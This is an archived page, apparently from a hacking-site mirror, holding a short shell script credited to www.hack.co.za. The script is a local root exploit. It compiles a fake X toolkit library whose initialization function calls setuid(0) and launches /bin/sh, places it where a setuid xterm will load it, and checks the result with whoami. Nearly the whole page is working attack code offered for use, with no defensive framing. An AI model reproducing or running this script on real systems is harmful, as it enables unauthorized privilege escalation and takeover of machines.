home *** CD-ROM | disk | FTP | other *** search
- #!/bin/sh
-
- mkdir /tmp/xyzzy
- cd /tmp/xyzzy
- cat > Initialize.c << EOF
- _XtAppInitialize() { setuid(0);
- execl("/bin/sh","sh",0);}
- XtAppSetFallbackResources() {}
- _XtDisplayInitialize() {}
- EOF
- ar x /usr/lib/libXt.a
- cc -c -pic Initialize.c
- ld *.o
- mkdir lib lib/X
- mv a.out lib/X/libXt.so.4.1
- cd lib/X
- xterm
- whoami
- # www.hack.co.za [2000]#